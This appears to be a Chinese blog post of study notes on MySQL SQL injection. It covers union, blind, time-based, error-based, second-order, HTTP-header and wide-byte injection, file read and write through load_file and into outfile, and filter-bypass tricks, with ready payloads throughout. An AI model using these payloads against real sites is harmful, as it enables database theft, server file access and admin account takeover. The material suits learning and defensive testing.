SQL注入

发布于 2022-03-18  324 次阅读


SQL注入

基础知识

系统函数

system_user()——系统用户名

user()——用户名

current_user()——当前用户名

session_user()——链接数据库的用户名

database()——数据库名

version()——数据库版本

@@datadir——数据库路径

@@basedir——数据库安装路径

@@version_conpile_os——操作系统

字符串连接函数

concat(str1,str2,...)——没有分隔符地连接字符串

concat_ws(分隔符,str1,str2,...)——含有分隔符地连接字符串

group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

一些语句

show databases; 展示数据库系统中存在哪些数据库
show tables; 展示某个数据库中存在哪些数据表
select * from users; 查询某个数据表当中的所有内容
desc users; 显示某个数据表的结构
select * from users; 显示表中的所有信息
select user_id,user,password from users where user='admin' and password like '5f%'; 根据限制条件查询数据,多个限制条件拼接

系统数据库(information_schema)

MySQL版本 > 5.0之后引入
存储MySQL数据库系统当中所有其他数据库的表结构
schemata表——存储该用户创建的所有数据库的库名
tables表——存储该用户创建的所有数据库的库名和表名
columns表——存储该用户创建的所有数据库的库名、表名和字段名

常用函数

user()/system_user()/current_user()/session_user()——返回当前使用数据库的用户
version()/@@version——返回当前数据库的版本
database()——返回当前使用的数据库
@@datadir——返回当前数据库所在位置
@@version_compile_os——返回当前操作系统版本
count()——用于统计字符串里某个字符或子字符串出现的次数
concat()——将多个字符连接成一个字符串
group_concat()——将多行字符串拼接成一行
length(arg)——返回目标字符串的长度,注意:arg字符串
substr(s, start, length);substring(s, start, length)——从字符串s的start位置截取长度为length的子字符串
left(s,n)——返回字符串 s 的前 n 个字符
right(s,n)——返回字符串 s 的后 n 个字符
ascii(s);/ord(s)——返回字符串 s 的第一个字符的 ASCII 码
ltrim(s)——去掉字符串s开始处的空格
rtrim(s)——去掉字符串s结尾处的空格
trim(s)——去掉字符串开始和结尾处的空格
INSERT(s1,x,len,s2)——字符串 s2 替换 s1 的 x 位置开始长度为 len 的字符串
regexp/rlike 正则表达式注入
like 匹配注入

几种注入方式

联合查询注入

union 联合注入,union 的作用是将两个sql 语句进行联合。其前后两个sql语句的列数要相同
union all与union的区别是增加了去重的功能
注入过程
通过order by探测表的列数
union select 1,2,...判断回显位,回显的地方可以替换成函数进行注入
通过常用函数进行渗透查看数据库的信息
通过回显的信息查询出想要的数据
一般过程
写'或"判断是字符型注入还是数字型注入和如何截断,若报错则证明使用哪个符号
'order by 数字——判断表的列数
union select 1,2,3,4...——查看回显位
union select group_concat(table_name) from information_schema.tables where table_schema=database()%23——查看本数据库的表名
union select group_concat(column_name) from information_schema.columns where table_name='表名'%23——查看表的列名
union select group_concat(..,..,..) from 表明%23——查看对应的列的数据

无列名盲注

使用union select重命名法
mysql> select 1,2,3 union select * from users;
比较法
mysql> select 'b' < 'azzzzz';
mysql> select 'ab' < 'azzzzz'

SQL盲注

基于布尔SQL盲注
利用true或flase的回显及逆行字符串的猜解(利用常用函数)
基于时间的SQL盲注延时注入(一般不使用)
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23——if 判断语句,条件为假,执行sleep
select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));——在0-9 之间找版本号的第一位
基于报错的SQL盲注
报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。利用数据库的某些机制,使得查询结果能够出现在错误信息中
floor(x)——返回小于或等于x的最大整数
select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
rand(0)*a——产生一个0和n之间的随机数————floor(rand(0)*2)产生0或1
当 group by 对其进行分组的时候,首先遇到第一个值 0 ,发现 0 不存在,于是需要插入分组,就在这时,floor(rand(0)*2)再次被触发,生成第二个值 1 ,因此最终插入虚拟表的也就是第二个值 1 ;然后遇到第三个值 1 ,因为已经存在分组 1 了,就直接计数加1(这时1的计数变为2);遇到第四个值 0 的时候,发现 0 不存在,于是又需要插入新分组,然后floor(rand(0)*2)又被触发,生成第五个值 1 ,因此这时还是往虚拟表里插入分组 1 ,但是,分组 1 已经存在了!所以报错!
select number,count(*) from test group by number;
group by 主要用来对数据进行分组(相同的分为一组),mysql遇到该语句时会建立一个虚拟表。该虚拟表有两个字段,一个是分组的 key ,一个是计数值 count(*)。也就对应于上个截图中的 number 和 count(*),然后在查询数据的时候,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组

updatexml()函数

是一个使用不同的xml标记匹配和替换xml块的函数
作用:改变文档中符合条件的节点的值
语法:updatexml(XML_document,XPath_string,new_value)
    XML_document:string格式,为XML文档对象的名称
    XPath_string:代表路径,XPath格式的字符串
    new_value:string格式,替换查找到的符合条件的数据
updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
select updatexml(1,concat(0x7e,(select user()),0x7e),1)
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

extractvalue()函数

作用:从目标XML中返回包含所查询值的字符串
语法:extractvalue(XML_document,xpath_string)
    XML_document:string格式,为XML文档对象的名称
    XPath_string:代表路径,XPath格式的字符串
extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
select extractvalue(1,concat(0x7e,(select user()),0x7e))
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

文件操作

load_file()读文件

Load_file(file_name):读取文件并返回该文件的内容作为一个字符串

使用条件

必须具有权限读取且文件必须完全可读
    and (select count() from mysql.user)>0 /* 如果结果返回正常,说明具有读写权限。
    and (select count() from mysql.user)>0 /* 返回错误,应该是管理员给数据库帐户降权
想要读取的文件必须在服务器上
必须指定文件完整的路径
想要读取的文件必须小于max_allowed_packet
若条件没有满足则函数返回空
outfile / dumpfile写文件
select 0x313233 into outfile 'D:/1.txt'
select 0x313233 into dumpfile 'D:/1.txt'

二次型

通过构造数据的形式,在浏览器或者其他软件中提交HTTP 数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了构造的SQL 语句或者命令
服务端应用程序会将提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应
向服务端发送第二个与第一次不相同的请求数据信息
服务端接收到提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致在第一次请求中构造的SQL 语句或者命令在服务端环境中执行
服务端返回执行的处理结果数据信息,可以通过返回的结果数据信息判断二次注入漏洞利用是否成功

步骤

先注册一个admin'#的账号
用这个账号登陆修改密码
update users set password = 'password' where username = 'admin'#'
即可将admin的密码修改为password

SQL头部注入

HTTP头字段解析
Accept:告诉WEB服务器自己接受什么介质类型,*/* 表示任何类型,type/* 表示该类型下的所有子类型,type/sub-type。
Accept-Charset:浏览器告诉服务器自己能接收的字符集
Accept-Encoding:浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法(gzip,deflate)
Accept-Language:浏览器申明自己接收的语言。语言跟字符集的区别:中文是语言,中文有多种字符集,比如big5,gb2312,gbk等
Authorization:当客户端接收到来自WEB服务器的 WWW-Authenticate 响应时,用该头部来回应自己的身份验证信息给WEB服务器
If-Match:如果对象的 ETag 没有改变,其实也就意味著对象没有改变,才执行请求的动作,获取文档
If-None-Match:如果对象的 ETag 改变了,其实也就意味著对象也改变了,才执行请求的动作,获取文档
If-Modified-Since:如果请求的对象在该头部指定的时间之后修改了,才执行请求的动作(比如返回对象),否则返回代码304,告诉浏览器该对象没有修改。例如:If-Modified-Since:Thu, 10 Apr 2008 09:14:42 GMT
If-Unmodified-Since:如果请求的对象在该头部指定的时间之后没修改过,才执行请求的动作(比如返回对象)
If-Range:浏览器告诉 WEB 服务器,如果我请求的对象没有改变,就把我缺少的部分给我,如果对象改变了,就把整个对象给我。浏览器通过发送请求对象的ETag 或者自己所知道的最后修改时间给 WEB 服务器,让其判断对象是否改变了。总是跟 Range 头部一起使用
1Range:浏览器(比如 Flashget 多线程下载时)告诉 WEB 服务器自己想取对象的哪部分。例如:Range: bytes=1173546
Proxy-Authenticate:代理服务器响应浏览器,要求其提供代理身份验证信息。
Proxy-Authorization:浏览器响应代理服务器的身份验证请求,提供自己的身份信息。
Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号。如Host:rss.sina.com.cn
Referer:浏览器向WEB 服务器表明自己是从哪个网页URL获得点击当前请求中的网址/URL,例如:Referer:http://www.jb51.net  
User-Agent:浏览器表明自己的身份(是哪种浏览器)。例如:User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN;rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14
方法
user-agent 修改为'and extractvalue(1,concat(0x7e,(select@@version),0x7e))and'1'='1
0x7e 为~并不是xml格式 报错 并输出我们想要的内容

宽字节注入

宽字节就是两个以上的字节,宽字节注入产生的原因就是各种字符编码的不当操作,使得攻击者可以通过宽字节编码绕过SQL注入防御。宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入
%df 吃掉\ 具体的原因是urlencode(\') = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的mysql 在GBK 编码方式的,第一位范围为0x00-0x7F时,当作一个字符。%df不在这个范围内,因此会将两个字节当做一个汉字,此时%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面
?id=-1%df' union select 1,2,3 %23

绕过方式

空格:%20  /**/  ${IFS}  %a0
引号(''  ""):16进制
单引号:%u0027 、%u02b9 、%u02bc 、%u02c8 、%u2032 、%uff07
逗号:对于substr、substring()和mid() 这两个函数可以使用from  for的方式来绕过。对于limit ,可以用 offset 绕过
and用 && 代替 ;or用 || 代替 ; xor用 | 代替 ; not用 ! 代替 
注释符 # :||'  %23
等号:like、rlike、regexp 
内敛注释:/!**/
大小写绕过、双写绕过、等价函数绕过
Daniel_WRF
最后更新于 2023-09-22